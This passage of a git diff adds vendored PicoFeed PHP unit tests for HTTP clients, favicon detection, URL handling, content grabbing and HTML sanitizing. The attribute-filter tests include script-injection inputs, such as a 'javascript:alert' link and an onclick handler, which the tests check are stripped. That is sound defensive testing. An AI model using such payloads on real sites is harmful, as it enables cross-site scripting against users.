+ $client->setUrl('http://miniflux.net/humans.txt');
+ $client->setLastModified($lastmod);
+ $client->execute();
+
+ $this->assertFalse($client->isModified());
+ }
+
+
+ public function testCacheBoth()
+ {
+ $client = Client::getInstance();
+ $client->setUrl('http://miniflux.net/humans.txt');
+ $client->execute();
+ $lastmod = $client->getLastModified();
+ $etag = $client->getEtag();
+
+ $client = Client::getInstance();
+ $client->setUrl('http://miniflux.net/humans.txt');
+ $client->setLastModified($lastmod);
+ $client->setEtag($etag);
+ $client->execute();
+
+ $this->assertFalse($client->isModified());
+ }
+
+ public function testCharset()
+ {
+ $client = Client::getInstance();
+ $client->setUrl('http://php.net/');
+ $client->execute();
+ $this->assertEquals('utf-8', $client->getEncoding());
+
+ $client = Client::getInstance();
+ $client->setUrl('http://php.net/robots.txt');
+ $client->execute();
+ $this->assertEquals('', $client->getEncoding());
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Client/CurlTest.php b/vendor/fguillot/picofeed/tests/Client/CurlTest.php
new file mode 100644
index 000000000..668816036
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Client/CurlTest.php
@@ -0,0 +1,53 @@
+<?php
+namespace PicoFeed\Client;
+
+use PHPUnit_Framework_TestCase;
+
+
+class CurlTest extends PHPUnit_Framework_TestCase
+{
+ public function testDownload()
+ {
+ $client = new Curl;
+ $client->setUrl('http://miniflux.net/index.html');
+ $result = $client->doRequest();
+
+ $this->assertTrue(is_array($result));
+ $this->assertEquals(200, $result['status']);
+ $this->assertEquals('<!DOC', substr($result['body'], 0, 5));
+ $this->assertEquals('text/html; charset=utf-8', $result['headers']['Content-Type']);
+ }
+
+
+ public function testRedirect()
+ {
+ $client = new Curl;
+ $client->setUrl('http://www.miniflux.net/index.html');
+ $result = $client->doRequest();
+
+ $this->assertTrue(is_array($result));
+ $this->assertEquals(200, $result['status']);
+ $this->assertEquals('<!DOCTYPE', substr($result['body'], 0, 9));
+ $this->assertEquals('text/html; charset=utf-8', $result['headers']['Content-Type']);
+ }
+
+ /**
+ * @expectedException PicoFeed\Client\InvalidCertificateException
+ */
+ public function testSSL()
+ {
+ $client = new Curl;
+ $client->setUrl('https://www.mjvmobile.com.br');
+ $client->doRequest();
+ }
+
+ /**
+ * @expectedException PicoFeed\Client\InvalidUrlException
+ */
+ public function testBadUrl()
+ {
+ $client = new Curl;
+ $client->setUrl('http://12345gfgfgf');
+ $client->doRequest();
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Client/FaviconTest.php b/vendor/fguillot/picofeed/tests/Client/FaviconTest.php
new file mode 100644
index 000000000..c0ac11ac6
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Client/FaviconTest.php
@@ -0,0 +1,143 @@
+<?php
+namespace PicoFeed\Client;
+
+use PHPUnit_Framework_TestCase;
+
+
+class FaviconTest extends PHPUnit_Framework_TestCase
+{
+ public function testExtract()
+ {
+ $favicon = new Favicon;
+
+ $html = '<!DOCTYPE html><html><head>
+ <link rel="shortcut icon" href="http://example.com/myicon.ico" />
+ </head><body><p>boo</p></body></html>';
+
+ $this->assertEquals(array('http://example.com/myicon.ico'), $favicon->extract($html));
+
+ $html = '<!DOCTYPE html><html><head>
+ <link rel="icon" href="http://example.com/myicon.ico" />
+ </head><body><p>boo</p></body></html>';
+
+ $this->assertEquals(array('http://example.com/myicon.ico'), $favicon->extract($html));
+
+ $html = '<!DOCTYPE html><html><head>
+ <link rel="icon" type="image/vnd.microsoft.icon" href="http://example.com/image.ico" />
+ </head><body><p>boo</p></body></html>';
+
+ $this->assertEquals(array('http://example.com/image.ico'), $favicon->extract($html));
+
+ $html = '<!DOCTYPE html><html><head>
+ <link rel="icon" type="image/png" href="http://example.com/image.png" />
+ </head><body><p>boo</p></body></html>';
+
+ $this->assertEquals(array('http://example.com/image.png'), $favicon->extract($html));
+
+ $html = '<!DOCTYPE html><html><head>
+ <link rel="icon" type="image/gif" href="http://example.com/image.gif" />
+ </head><body><p>boo</p></body></html>';
+
+ $this->assertEquals(array('http://example.com/image.gif'), $favicon->extract($html));
+
+ $html = '<!DOCTYPE html><html><head>
+ <link rel="icon" type="image/x-icon" href="http://example.com/image.ico"/>
+ </head><body><p>boo</p></body></html>';
+
+ $this->assertEquals(array('http://example.com/image.ico'), $favicon->extract($html));
+
+ $html = '<!DOCTYPE html><html><head>
+ <link rel="apple-touch-icon" href="assets/img/touch-icon-iphone.png">
+ <link rel="icon" type="image/png" href="http://example.com/image.png" />
+ <link rel="icon" type="image/x-icon" href="http://example.com/image.ico"/>
+ </head><body><p>boo</p></body></html>';
+
+ $this->assertEquals(array('http://example.com/image.png', 'http://example.com/image.ico'), $favicon->extract($html));
+ }
+/*
+ public function testHasFile()
+ {
+ $favicon = new Favicon;
+ $this->assertTrue($favicon->exists('https://en.wikipedia.org/favicon.ico'));
+ $this->assertFalse($favicon->exists('http://minicoders.com/favicon.ico'));
+ $this->assertFalse($favicon->exists('http://blabla'));
+ }
+*/
+ public function testConvertLink()
+ {
+ $favicon = new Favicon;
+
+ $this->assertEquals(
+ 'http://miniflux.net/assets/img/favicon.png',
+ $favicon->convertLink(new Url('http://miniflux.net'), new Url('assets/img/favicon.png'))
+ );
+
+ $this->assertEquals(
+ 'https://miniflux.net/assets/img/favicon.png',
+ $favicon->convertLink(new Url('https://miniflux.net'), new Url('assets/img/favicon.png'))
+ );
+
+ $this->assertEquals(
+ 'http://google.com/assets/img/favicon.png',
+ $favicon->convertLink(new Url('http://miniflux.net'), new Url('//google.com/assets/img/favicon.png'))
+ );
+
+ $this->assertEquals(
+ 'https://google.com/assets/img/favicon.png',
+ $favicon->convertLink(new Url('https://miniflux.net'), new Url('//google.com/assets/img/favicon.png'))
+ );
+ }
+
+ public function testFind()
+ {
+ $favicon = new Favicon;
+
+ // Relative favicon in html
+ $this->assertEquals(
+ 'http://miniflux.net/assets/img/favicon.png',
+ $favicon->find('http://miniflux.net')
+ );
+
+ $this->assertNotEmpty($favicon->getContent());
+
+ // Absolute html favicon
+ $this->assertEquals(
+ 'http://php.net/favicon.ico',
+ $favicon->find('http://php.net/parse_url')
+ );
+
+ $this->assertNotEmpty($favicon->getContent());
+
+ // Protocol relative favicon
+ $this->assertEquals(
+ 'https://bits.wikimedia.org/favicon/wikipedia.ico',
+ $favicon->find('https://en.wikipedia.org/')
+ );
+
+ $this->assertNotEmpty($favicon->getContent());
+
+ // fluid-icon + https
+ $this->assertEquals(
+ 'https://github.com/fluidicon.png',
+ $favicon->find('https://github.com')
+ );
+
+ $this->assertNotEmpty($favicon->getContent());
+
+ // favicon in meta
+ $this->assertEquals(
+ 'http://www.microsoft.com/favicon.ico?v2',
+ $favicon->find('http://www.microsoft.com')
+ );
+
+ $this->assertNotEmpty($favicon->getContent());
+
+ // no icon
+ $this->assertEquals(
+ '',
+ $favicon->find('http://minicoders.com/favicon.ico')
+ );
+
+ $this->assertEmpty($favicon->getContent());
+ }
+}
diff --git a/vendor/fguillot/picofeed/tests/Client/GrabberTest.php b/vendor/fguillot/picofeed/tests/Client/GrabberTest.php
new file mode 100644
index 000000000..5aec5ca11
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Client/GrabberTest.php
@@ -0,0 +1,60 @@
+<?php
+namespace PicoFeed\Client;
+
+use PHPUnit_Framework_TestCase;
+
+use PicoFeed\Reader\Reader;
+use PicoFeed\Logging\Logging;
+
+class GrabberTest extends PHPUnit_Framework_TestCase
+{
+ public function testGrabContentWithCandidates()
+ {
+ $grabber = new Grabber('http://theonion.com.feedsportal.com/c/34529/f/632231/s/309a7fe4/sc/20/l/0L0Stheonion0N0Carticles0Cobama0Ethrows0Eup0Eright0Ethere0Eduring0Esyria0Emeeting0H336850C/story01.htm');
+ $grabber->download();
+ $this->assertTrue($grabber->parse());
+
+ $grabber = new Grabber('http://www.lemonde.fr/proche-orient/article/2013/08/30/la-france-nouvelle-plus-ancienne-alliee-des-etats-unis_3469218_3218.html');
+ $grabber->download();
+ $this->assertTrue($grabber->parse());
+
+ $grabber = new Grabber('http://www.rue89.com/2013/08/30/faisait-boris-boillon-ex-sarko-boy-350-000-euros-gare-nord-245315');
+ $grabber->download();
+ $this->assertTrue($grabber->parse());
+
+ $grabber = new Grabber('http://www.inc.com/suzanne-lucas/why-employee-turnover-is-so-costly.html');
+ $grabber->download();
+ $this->assertTrue($grabber->parse());
+
+ $grabber = new Grabber('http://arstechnica.com/information-technology/2013/08/sysadmin-security-fail-nsa-finds-snowden-hijacked-officials-logins/');
+ $grabber->download();
+ $this->assertTrue($grabber->parse());
+ }
+
+ public function testGetRules()
+ {
+ $grabber = new Grabber('http://www.egscomics.com/index.php?id=1690');
+ $this->assertTrue(is_array($grabber->getRules()));
+ }
+
+ public function testGrabContent()
+ {
+ $grabber = new Grabber('http://www.egscomics.com/index.php?id=1690');
+ $grabber->download();
+ $this->assertTrue($grabber->parse());
+
+ $this->assertEquals('<img title="2013-08-22" src="comics/../comics/1377151029-2013-08-22.png" id="comic" border="0" />', $grabber->getContent());
+ }
+
+ public function testRssGrabContent()
+ {
+ $reader = new Reader;
+ $client = $reader->download('http://www.egscomics.com/rss.php');
+ $parser = $reader->getParser($client->getUrl(), $client->getContent(), $client->getEncoding());
+ $parser->enableContentGrabber();
+ $feed = $parser->execute();
+
+ $this->assertTrue(is_array($feed->items));
+ $this->assertTrue(strpos($feed->items[0]->content, '<img') >= 0);
+ }
+}
diff --git a/vendor/fguillot/picofeed/tests/Client/StreamTest.php b/vendor/fguillot/picofeed/tests/Client/StreamTest.php
new file mode 100644
index 000000000..8b2e2f8b8
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Client/StreamTest.php
@@ -0,0 +1,63 @@
+<?php
+namespace PicoFeed\Client;
+
+use PHPUnit_Framework_TestCase;
+
+
+class StreamTest extends PHPUnit_Framework_TestCase
+{
+ public function testChunkedResponse()
+ {
+ $client = new Stream;
+ $client->setUrl('http://www.reddit.com/r/dwarffortress/.rss');
+ $result = $client->doRequest();
+
+ $this->assertEquals('</rss>', substr($result['body'], -6));
+ }
+
+ public function testDownload()
+ {
+ $client = new Stream;
+ $client->setUrl('https://github.com/fguillot/picoFeed');
+ $result = $client->doRequest();
+
+ $this->assertEquals(200, $result['status']);
+ $this->assertEquals('text/html; charset=utf-8', $result['headers']['Content-Type']);
+ $this->assertEquals('<!DOCTYPE html>', substr(trim($result['body']), 0, 15));
+ $this->assertEquals('</html>', substr(trim($result['body']), -7));
+ }
+
+ public function testRedirect()
+ {
+ $client = new Stream;
+ $client->setUrl('http://github.com/fguillot/picoFeed');
+ $result = $client->doRequest();
+
+ $this->assertEquals(200, $result['status']);
+ $this->assertEquals('<!DOCTYPE html>', substr(trim($result['body']), 0, 15));
+ $this->assertEquals('text/html; charset=utf-8', $result['headers']['Content-Type']);
+ }
+
+ /**
+ * @expectedException PicoFeed\Client\InvalidUrlException
+ */
+ public function testBadUrl()
+ {
+ $client = new Stream;
+ $client->setUrl('http://12345gfgfgf');
+ $client->setTimeout(1);
+ $client->doRequest();
+ }
+
+ public function testDecodeGzip()
+ {
+ if (function_exists('gzdecode')) {
+ $client = new Stream;
+ $client->setUrl('https://github.com/fguillot/picoFeed');
+ $result = $client->doRequest();
+
+ $this->assertEquals('gzip', $result['headers']['Content-Encoding']);
+ $this->assertEquals('<!DOC', substr(trim($result['body']), 0, 5));
+ }
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Client/UrlTest.php b/vendor/fguillot/picofeed/tests/Client/UrlTest.php
new file mode 100644
index 000000000..a07898778
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Client/UrlTest.php
@@ -0,0 +1,220 @@
+<?php
+namespace PicoFeed\Client;
+
+use PHPUnit_Framework_TestCase;
+
+
+class UrlTest extends PHPUnit_Framework_TestCase
+{
+ public function testHasScheme()
+ {
+ $url = new Url('http://www.google.fr/');
+ $this->assertTrue($url->hasScheme());
+
+ $url = new Url('//www.google.fr/');
+ $this->assertFalse($url->hasScheme());
+
+ $url = new Url('/path');
+ $this->assertFalse($url->hasScheme());
+
+ $url = new Url('anything');
+ $this->assertFalse($url->hasScheme());
+ }
+
+ public function testHasPort()
+ {
+ $url = new Url('http://127.0.0.1:8000/');
+ $this->assertTrue($url->hasPort());
+
+ $url = new Url('http://127.0.0.1/');
+ $this->assertFalse($url->hasPort());
+ }
+
+ public function testIsProtocolRelative()
+ {
+ $url = new Url('http://www.google.fr/');
+ $this->assertFalse($url->isProtocolRelative());
+
+ $url = new Url('//www.google.fr/');
+ $this->assertTrue($url->isProtocolRelative());
+
+ $url = new Url('/path');
+ $this->assertFalse($url->isProtocolRelative());
+
+ $url = new Url('anything');
+ $this->assertFalse($url->isProtocolRelative());
+ }
+
+ public function testBaseUrl()
+ {
+ $url = new Url('../bla');
+ $this->assertEquals('', $url->getBaseUrl());
+
+ $url = new Url('github.com');
+ $this->assertEquals('', $url->getBaseUrl());
+
+ $url = new Url('http://127.0.0.1:8000');
+ $this->assertEquals('http://127.0.0.1:8000', $url->getBaseUrl());
+
+ $url = new Url('http://127.0.0.1:8000/test?123');
+ $this->assertEquals('http://127.0.0.1:8000', $url->getBaseUrl());
+
+ $url = new Url('http://localhost/test');
+ $this->assertEquals('http://localhost', $url->getBaseUrl());
+
+ $url = new Url('https://localhost/test');
+ $this->assertEquals('https://localhost', $url->getBaseUrl());
+
+ $url = new Url('//localhost/test?truc');
+ $this->assertEquals('http://localhost', $url->getBaseUrl());
+ }
+
+ public function testIsRelativeUrl()
+ {
+ $url = new Url('http://www.google.fr/');
+ $this->assertFalse($url->isRelativeUrl());
+
+ $url = new Url('//www.google.fr/');
+ $this->assertFalse($url->isRelativeUrl());
+
+ $url = new Url('/path');
+ $this->assertTrue($url->isRelativeUrl());
+
+ $url = new Url('../../path');
+ $this->assertTrue($url->isRelativeUrl());
+
+ $url = new Url('anything');
+ $this->assertTrue($url->isRelativeUrl());
+
+ $url = new Url('/2014/08/03/4668-noisettes');
+ $this->assertTrue($url->isRelativeUrl());
+
+ $url = new Url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA
+AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
+9TXL0Y4OHwAAAABJRU5ErkJggg==');
+ $this->assertFalse($url->isRelativeUrl());
+ }
+
+ public function testGetFullPath()
+ {
+ $url = new Url('http://www.google.fr/');
+ $this->assertEquals('/', $url->getFullPath());
+
+ $url = new Url('//www.google.fr/search');
+ $this->assertEquals('/search', $url->getFullPath());
+
+ $url = new Url('/path');
+ $this->assertEquals('/path', $url->getFullPath());
+
+ $url = new Url('/path#test');
+ $this->assertEquals('/path#test', $url->getFullPath());
+
+ $url = new Url('anything');
+ $this->assertEquals('/anything', $url->getFullPath());
+
+ $url = new Url('index.php?foo=bar&test=1');
+ $this->assertEquals('/index.php?foo=bar&test=1', $url->getFullPath());
+ }
+
+ public function testAbsoluteUrl()
+ {
+ $url = new Url('http://google.fr/');
+ $this->assertEquals('http://google.fr/', $url->getAbsoluteUrl());
+
+ $url = new Url('http://google.ca');
+ $this->assertEquals('http://google.ca/', $url->getAbsoluteUrl());
+
+ $url = new Url('../bla');
+ $this->assertEquals('', $url->getAbsoluteUrl(''));
+
+ $url = new Url('/2014/08/03/4668-noisettes');
+ $this->assertEquals('http://www.la-grange.net/2014/08/03/4668-noisettes', $url->getAbsoluteUrl('http://www.la-grange.net/'));
+
+ $url = new Url('http://www.google.fr/../bla');
+ $this->assertEquals('http://www.google.fr/../bla', $url->getAbsoluteUrl('http://www.google.fr/'));
+
+ $url = new Url('http://www.google.fr/');
+ $this->assertEquals('http://www.google.fr/', $url->getAbsoluteUrl('http://www.google.fr/'));
+
+ $url = new Url('//www.google.fr/search');
+ $this->assertEquals('http://www.google.fr/search', $url->getAbsoluteUrl('//www.google.fr/'));
+
+ $url = new Url('//www.google.fr/search');
+ $this->assertEquals('http://www.google.fr/search', $url->getAbsoluteUrl());
+
+ $url = new Url('/path');
+ $this->assertEquals('http://www.google.fr/path', $url->getAbsoluteUrl('http://www.google.fr/'));
+
+ $url = new Url('/path#test');
+ $this->assertEquals('http://www.google.fr/path#test', $url->getAbsoluteUrl('http://www.google.fr/'));
+
+ $url = new Url('anything');
+ $this->assertEquals('http://www.google.fr/anything', $url->getAbsoluteUrl('http://www.google.fr/'));
+
+ $url = new Url('index.php?foo=bar&test=1');
+ $this->assertEquals('http://www.google.fr/index.php?foo=bar&test=1', $url->getAbsoluteUrl('http://www.google.fr/'));
+
+ $url = new Url('index.php?foo=bar&test=1');
+ $this->assertEquals('', $url->getAbsoluteUrl());
+
+ $url = new Url('https://127.0.0.1:8000/here/test?v=3');
+ $this->assertEquals('https://127.0.0.1:8000/here/test?v=3', $url->getAbsoluteUrl());
+
+ $url = new Url('test?v=3');
+ $this->assertEquals('https://127.0.0.1:8000/here/test?v=3', $url->getAbsoluteUrl('https://127.0.0.1:8000/here/'));
+ }
+
+ public function testIsRelativePath()
+ {
+ $url = new Url('');
+ $this->assertTrue($url->isRelativePath());
+
+ $url = new Url('http://google.fr');
+ $this->assertTrue($url->isRelativePath());
+
+ $url = new Url('filename.json');
+ $this->assertTrue($url->isRelativePath());
+
+ $url = new Url('folder/filename.json');
+ $this->assertTrue($url->isRelativePath());
+
+ $url = new Url('/filename.json');
+ $this->assertFalse($url->isRelativePath());
+
+ $url = new Url('/folder/filename.json');
+ $this->assertFalse($url->isRelativePath());
+ }
+
+ public function testResolve()
+ {
+ $this->assertEquals(
+ 'http://www.la-grange.net/2014/08/03/4668-noisettes',
+ Url::resolve('/2014/08/03/4668-noisettes', 'http://www.la-grange.net')
+ );
+
+ $this->assertEquals(
+ 'http://www.la-grange.net/2014/08/03/4668-noisettes',
+ Url::resolve('/2014/08/03/4668-noisettes', 'http://www.la-grange.net/')
+ );
+
+ $this->assertEquals(
+ 'http://www.la-grange.net/2014/08/03/4668-noisettes',
+ Url::resolve('/2014/08/03/4668-noisettes', 'http://www.la-grange.net/feed.atom')
+ );
+
+ $this->assertEquals(
+ 'http://what-if.xkcd.com/imgs/a/112/driving.png',
+ Url::resolve('/imgs/a/112/driving.png', 'http://what-if.xkcd.com/feed.atom')
+ );
+
+ $this->assertEquals(
+ 'http://website/subfolder/img/foo.png',
+ Url::resolve('img/foo.png', 'http://website/subfolder/')
+ );
+
+ $this->assertEquals(
+ 'http://website/img/foo.png',
+ Url::resolve('/img/foo.png', 'http://website/subfolder/')
+ );
+ }
+}
diff --git a/vendor/fguillot/picofeed/tests/Filter/AttributeFilterTest.php b/vendor/fguillot/picofeed/tests/Filter/AttributeFilterTest.php
new file mode 100644
index 000000000..e4de74aaf
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Filter/AttributeFilterTest.php
@@ -0,0 +1,140 @@
+<?php
+namespace PicoFeed\Filter;
+
+use PHPUnit_Framework_TestCase;
+
+use PicoFeed\Client\Url;
+
+
+class AttributeFilterTest extends PHPUnit_Framework_TestCase
+{
+ public function testFilterEmptyAttribute()
+ {
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $this->assertTrue($filter->filterEmptyAttribute('abbr', 'title', 'test'));
+ $this->assertFalse($filter->filterEmptyAttribute('abbr', 'title', ''));
+ $this->assertEquals(array('title' => 'test'), $filter->filter('abbr', array('title' => 'test')));
+ $this->assertEquals(array(), $filter->filter('abbr', array('title' => '')));
+ }
+
+ public function testFilterAllowedAttribute()
+ {
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $this->assertTrue($filter->filterAllowedAttribute('abbr', 'title', 'test'));
+ $this->assertFalse($filter->filterAllowedAttribute('script', 'type', 'text/javascript'));
+
+ $this->assertEquals(array(), $filter->filter('script', array('type' => 'text/javascript')));
+ $this->assertEquals(array(), $filter->filter('a', array('onclick' => 'javascript')));
+ $this->assertEquals(array('href' => 'http://google.com/'), $filter->filter('a', array('href' => 'http://google.com')));
+ }
+
+ public function testFilterIntegerAttribute()
+ {
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $this->assertTrue($filter->filterIntegerAttribute('abbr', 'title', 'test'));
+ $this->assertTrue($filter->filterIntegerAttribute('iframe', 'width', '0'));
+ $this->assertTrue($filter->filterIntegerAttribute('iframe', 'width', '450'));
+ $this->assertFalse($filter->filterIntegerAttribute('iframe', 'width', 'test'));
+
+ $this->assertEquals(array('width' => '10', 'src' => 'http://www.youtube.com/test'), $filter->filter('iframe', array('width' => '10', 'src' => 'http://www.youtube.com/test')));
+ $this->assertEquals(array('src' => 'http://www.youtube.com/test'), $filter->filter('iframe', array('width' => 'test', 'src' => 'http://www.youtube.com/test')));
+ }
+
+ public function testFilterAbsoluteUrlAttribute()
+ {
+ $filter = new Attribute(new Url('http://www.la-grange.net'));
+ $url = '/2014/08/03/4668-noisettes';
+ $this->assertTrue($filter->filterAbsoluteUrlAttribute('a', 'href', $url));
+ $this->assertEquals('http://www.la-grange.net/2014/08/03/4668-noisettes', $url);
+
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $url = 'test';
+ $this->assertTrue($filter->filterAbsoluteUrlAttribute('a', 'href', $url));
+ $this->assertEquals('http://google.com/test', $url);
+
+ $url = 'http://127.0.0.1:8000/test';
+ $this->assertTrue($filter->filterAbsoluteUrlAttribute('img', 'src', $url));
+ $this->assertEquals('http://127.0.0.1:8000/test', $url);
+
+ $url = '//example.com';
+ $this->assertTrue($filter->filterAbsoluteUrlAttribute('a', 'href', $url));
+ $this->assertEquals('http://example.com/', $url);
+
+ $filter = new Attribute(new Url('https://google.com'));
+ $url = '//example.com/?youpi';
+ $this->assertTrue($filter->filterAbsoluteUrlAttribute('a', 'href', $url));
+ $this->assertEquals('https://example.com/?youpi', $url);
+
+ $filter = new Attribute(new Url('https://127.0.0.1:8000/here/'));
+ $url = 'image.png?v=2';
+ $this->assertTrue($filter->filterAbsoluteUrlAttribute('a', 'href', $url));
+ $this->assertEquals('https://127.0.0.1:8000/here/image.png?v=2', $url);
+
+ $filter = new Attribute(new Url('https://truc/'));
+ $this->assertEquals(array('src' => 'https://www.youtube.com/test'), $filter->filter('iframe', array('width' => 'test', 'src' => '//www.youtube.com/test')));
+
+ $filter = new Attribute(new Url('http://truc/'));
+ $this->assertEquals(array('href' => 'http://google.fr/'), $filter->filter('a', array('href' => '//google.fr')));
+ }
+
+ public function testFilterIframeAttribute()
+ {
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $this->assertTrue($filter->filterIframeAttribute('iframe', 'src', 'http://www.youtube.com/test'));
+ $this->assertTrue($filter->filterIframeAttribute('iframe', 'src', 'https://www.youtube.com/test'));
+ $this->assertFalse($filter->filterIframeAttribute('iframe', 'src', '//www.youtube.com/test'));
+ $this->assertFalse($filter->filterIframeAttribute('iframe', 'src', '//www.bidule.com/test'));
+
+ $this->assertEquals(array('src' => 'http://www.youtube.com/test'), $filter->filter('iframe', array('src' => '//www.youtube.com/test')));
+ }
+
+ public function testFilterBlacklistAttribute()
+ {
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $this->assertTrue($filter->filterBlacklistResourceAttribute('a', 'href', 'http://google.fr/'));
+ $this->assertFalse($filter->filterBlacklistResourceAttribute('a', 'href', 'http://res3.feedsportal.com/truc'));
+
+ $this->assertEquals(array('href' => 'http://google.fr/'), $filter->filter('a', array('href' => 'http://google.fr/')));
+ $this->assertEquals(array(), $filter->filter('a', array('href' => 'http://res3.feedsportal.com/')));
+ }
+
+ public function testFilterProtocolAttribute()
+ {
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $this->assertTrue($filter->filterProtocolUrlAttribute('a', 'href', 'http://google.fr/'));
+ $this->assertFalse($filter->filterProtocolUrlAttribute('a', 'href', 'bla://google.fr/'));
+ $this->assertFalse($filter->filterProtocolUrlAttribute('a', 'href', 'javascript:alert("test")'));
+
+ $this->assertEquals(array('href' => 'http://google.fr/'), $filter->filter('a', array('href' => 'http://google.fr/')));
+ $this->assertEquals(array(), $filter->filter('a', array('href' => 'bla://google.fr/')));
+ }
+
+ public function testRequiredAttribute()
+ {
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $this->assertTrue($filter->hasRequiredAttributes('a', array('href' => 'bla')));
+ $this->assertTrue($filter->hasRequiredAttributes('img', array('src' => 'bla')));
+ $this->assertTrue($filter->hasRequiredAttributes('source', array('src' => 'bla')));
+ $this->assertTrue($filter->hasRequiredAttributes('audio', array('src' => 'bla')));
+ $this->assertTrue($filter->hasRequiredAttributes('iframe', array('src' => 'bla')));
+ $this->assertTrue($filter->hasRequiredAttributes('p', array('class' => 'bla')));
+ $this->assertFalse($filter->hasRequiredAttributes('a', array('title' => 'bla')));
+ }
+
+ public function testHtml()
+ {
+ $filter = new Attribute(new Url('http://google.com'));
+
+ $this->assertEquals('title="A &amp; B"', $filter->toHtml(array('title' => 'A & B')));
+ $this->assertEquals('title="&quot;a&quot;"', $filter->toHtml(array('title' => '"a"')));
+ $this->assertEquals('title="ç" alt="b"', $filter->toHtml(array('title' => 'ç', 'alt' => 'b')));
+ }
+}
diff --git a/vendor/fguillot/picofeed/tests/Filter/FilterTest.php b/vendor/fguillot/picofeed/tests/Filter/FilterTest.php
new file mode 100644
index 000000000..f3b736dfb
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Filter/FilterTest.php
@@ -0,0 +1,88 @@
+<?php
+namespace PicoFeed\Filter;
+
+use PHPUnit_Framework_TestCase;
+
+use PicoFeed\Config\Config;
+
+
+class FilterTest extends PHPUnit_Framework_TestCase
+{
+ public function testStripHeadTag()
+ {
+ $input = '<html><head><title>test</title></head><body><h1>boo</h1></body>';
+ $expected = '<html><body><h1>boo</h1></body>';
+ $this->assertEquals($expected, Filter::stripHeadTags($input));
+
+ $input = file_get_contents('tests/fixtures/html_page.html');
+ $expected = file_get_contents('tests/fixtures/html_head_stripped_page.html');
+ $this->assertEquals($expected, Filter::stripHeadTags($input));
+ }
+
+ public function testStripXmlTag()
+ {
+ $data = file_get_contents('tests/fixtures/jeux-linux.fr.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/ezrss.it');
+ $this->assertEquals('<!DOC', substr(Filter::stripXmlTag($data), 0, 5));
+
+ $data = file_get_contents('tests/fixtures/fulltextrss.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/sametmax.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/grotte_barbu.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/ibash.ru.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/pcinpact.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/resorts.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/rue89.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/cercle.psy.xml');
+ $this->assertEquals('<rss', substr(Filter::stripXmlTag($data), 0, 4));
+
+ $data = file_get_contents('tests/fixtures/lagrange.xml');
+ $this->assertEquals('<feed', substr(Filter::stripXmlTag($data), 0, 5));
+
+ $data = file_get_contents('tests/fixtures/atom.xml');
+ $this->assertEquals('<feed', substr(trim(Filter::stripXmlTag($data)), 0, 5));
+
+ $data = file_get_contents('tests/fixtures/atomsample.xml');
+ $this->assertEquals('<feed', substr(trim(Filter::stripXmlTag($data)), 0, 5));
+
+ $data = file_get_contents('tests/fixtures/planete-jquery.xml');
+ $this->assertEquals('<rdf:RDF', trim(substr(trim(Filter::stripXmlTag($data)), 0, 8)));
+ }
+
+ public function testOverrideFilters()
+ {
+ $data = '<iframe src="http://www.kickstarter.com/projects/lefnire/habitrpg-mobile/widget/video.html" height="480" width="640" frameborder="0"></iframe>';
+
+ $f = Filter::html($data, 'http://blabla');
+ $f->attribute->setIframeWhitelist(array('http://www.kickstarter.com'));
+ $this->assertEquals($data, $f->execute());
+
+ $data = '<iframe src="http://www.youtube.com/bla" height="480" width="640" frameborder="0"></iframe>';
+
+ $f = Filter::html($data, 'http://blabla');
+ $f->attribute->setIframeWhitelist(array('http://www.kickstarter.com'));
+ $this->assertEmpty($f->execute());
+
+ $config = new Config;
+ $config->setFilterWhitelistedTags(array('p' => array('title')));
+
+ $f = Filter::html('<p>Test<strong>boo</strong></p>', 'http://blabla');
+ $f->setConfig($config);
+ $this->assertEquals('<p>Testboo</p>', $f->execute());
+ }
+} \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/Filter/HtmlFilterTest.php b/vendor/fguillot/picofeed/tests/Filter/HtmlFilterTest.php
new file mode 100644
index 000000000..271167481
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/Filter/HtmlFilterTest.php
@@ -0,0 +1,168 @@
+<?php
+namespace PicoFeed\Filter;
+
+use PHPUnit_Framework_TestCase;
+
+
+class HtmlFilterTest extends PHPUnit_Framework_TestCase
+{
+ public function testExecute()
+ {
+ $html = '<!DOCTYPE html><html><head>
+ <meta name="title" content="test">
+ </head><body><p>boo<br/><strong>foo</strong>.</p></body></html>';
+
+ $filter = new Html($html, 'http://www.google.ca/');
+
+ $this->assertEquals('<p>boo<br/><strong>foo</strong>.</p>', $filter->execute());
+ }
+
+ public function testIframe()
+ {
